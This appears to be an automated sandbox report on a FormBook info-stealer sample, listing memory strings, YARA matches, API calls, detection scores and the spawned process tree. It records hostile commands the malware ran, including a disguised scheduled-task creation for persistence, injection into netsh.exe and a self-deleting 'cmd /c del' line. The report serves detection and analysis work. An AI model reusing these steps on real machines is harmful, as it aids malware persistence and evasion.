Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comFB
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comldco
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://parking.bodiscdn.com
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://www.google.com

Source: unknown

DNS traffic detected: queries for: www.smithridge.net

Source: global traffic

Source: 010013.exe, 00000000.00000002.706837713.0000000000CAA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: 010013.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_004C53D5	0_2_004C53D5
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_004C5696	0_2_004C5696
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7E6B8	0_2_00C7E6B8
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7E6AB	0_2_00C7E6AB
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7BD04	0_2_00C7BD04
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07725F40	0_2_07725F40
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07725F30	0_2_07725F30
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00401030	6_2_00401030
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D89F	6_2_0041D89F
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041E1D0	6_2_0041E1D0
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D48C	6_2_0041D48C
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402D88	6_2_00402D88
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D641	6_2_0041D641
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00409E2B	6_2_00409E2B
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00409E30	6_2_00409E30
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041DF78	6_2_0041DF78
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041E701	6_2_0041E701
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402FB0	6_2_00402FB0
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_004653D5	6_2_004653D5
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00465696	6_2_00465696
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340EBB0	10_2_0340EBB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F6E30	10_2_033F6E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D0D20	10_2_033D0D20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A1D55	10_2_034A1D55
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DF900	10_2_033DF900
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0	10_2_033ED5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E841F	10_2_033E841F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491002	10_2_03491002
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB090	10_2_033EB090
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DE1D0	10_2_008DE1D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2D88	10_2_008C2D88
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2D90	10_2_008C2D90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C9E2B	10_2_008C9E2B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DD63F	10_2_008DD63F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C9E30	10_2_008C9E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2FB0	10_2_008C2FB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DDF78	10_2_008DDF78

Source: C:\Windows\SysWOW64\netsh.exe

Code function: String function: 033DB150 appears 32 times

Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419D50 NtCreateFile,	6_2_00419D50
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E00 NtReadFile,	6_2_00419E00
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E80 NtClose,	6_2_00419E80
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419F30 NtAllocateVirtualMemory,	6_2_00419F30
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419DA4 NtCreateFile,	6_2_00419DA4
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E7A NtClose,	6_2_00419E7A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419710 NtQueryInformationToken,LdrInitializeThunk,	10_2_03419710
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419FE0 NtCreateMutant,LdrInitializeThunk,	10_2_03419FE0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419780 NtMapViewOfSection,LdrInitializeThunk,	10_2_03419780
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A50 NtCreateFile,LdrInitializeThunk,	10_2_03419A50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034196D0 NtCreateKey,LdrInitializeThunk,	10_2_034196D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034196E0 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_034196E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419540 NtReadFile,LdrInitializeThunk,	10_2_03419540
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419910 NtAdjustPrivilegesToken,LdrInitializeThunk,	10_2_03419910
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034195D0 NtClose,LdrInitializeThunk,	10_2_034195D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034199A0 NtCreateSection,LdrInitializeThunk,	10_2_034199A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419840 NtDelayExecution,LdrInitializeThunk,	10_2_03419840
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419860 NtQuerySystemInformation,LdrInitializeThunk,	10_2_03419860
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419760 NtOpenProcess,	10_2_03419760
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419770 NtSetInformationFile,	10_2_03419770
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A770 NtOpenThread,	10_2_0341A770
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419B00 NtSetValueKey,	10_2_03419B00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A710 NtOpenProcessToken,	10_2_0341A710
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419730 NtQueryVirtualMemory,	10_2_03419730
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034197A0 NtUnmapViewOfSection,	10_2_034197A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A3B0 NtGetContextThread,	10_2_0341A3B0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419650 NtQueryValueKey,	10_2_03419650
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419660 NtAllocateVirtualMemory,	10_2_03419660
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419670 NtQueryInformationProcess,	10_2_03419670
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A00 NtProtectVirtualMemory,	10_2_03419A00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419610 NtEnumerateValueKey,	10_2_03419610
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A10 NtQuerySection,	10_2_03419A10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A20 NtResumeThread,	10_2_03419A20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A80 NtOpenDirectoryObject,	10_2_03419A80
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419950 NtQueueApcThread,	10_2_03419950
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419560 NtWriteFile,	10_2_03419560
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419520 NtWaitForSingleObject,	10_2_03419520
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341AD30 NtSetContextThread,	10_2_0341AD30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034199D0 NtCreateProcessEx,	10_2_034199D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034195F0 NtQueryInformationFile,	10_2_034195F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341B040 NtSuspendThread,	10_2_0341B040
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419820 NtEnumerateKey,	10_2_03419820
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034198F0 NtReadVirtualMemory,	10_2_034198F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034198A0 NtWriteVirtualMemory,	10_2_034198A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9D50 NtCreateFile,	10_2_008D9D50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E80 NtClose,	10_2_008D9E80
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E00 NtReadFile,	10_2_008D9E00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9DA4 NtCreateFile,	10_2_008D9DA4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E7A NtClose,	10_2_008D9E7A

Source: 010013.exe, 00000000.00000002.706837713.0000000000CAA000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 010013.exe
Source: 010013.exe, 00000000.00000002.717972795.00000000075E0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameUI.dll< vs 010013.exe
Source: 010013.exe, 00000000.00000000.678955548.0000000000556000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe
Source: 010013.exe, 00000006.00000002.774854435.000000000115F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 010013.exe
Source: 010013.exe, 00000006.00000002.773379173.00000000004F6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe
Source: 010013.exe, 00000006.00000002.775347454.0000000002D7C000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamenetsh.exej% vs 010013.exe
Source: 010013.exe	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe

Source: 010013.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ELqDlkdxF.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 010013.exe	Virustotal: Detection: 39%
Source: 010013.exe	ReversingLabs: Detection: 32%

Source: C:\Users\user\Desktop\010013.exe

File read: C:\Users\user\Desktop\010013.exe

Jump to behavior

Source: 010013.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\010013.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\010013.exe 'C:\Users\user\Desktop\010013.exe'
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'	Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Local\Temp\tmp30F5.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@10/4@3/1

Source: C:\Users\user\Desktop\010013.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

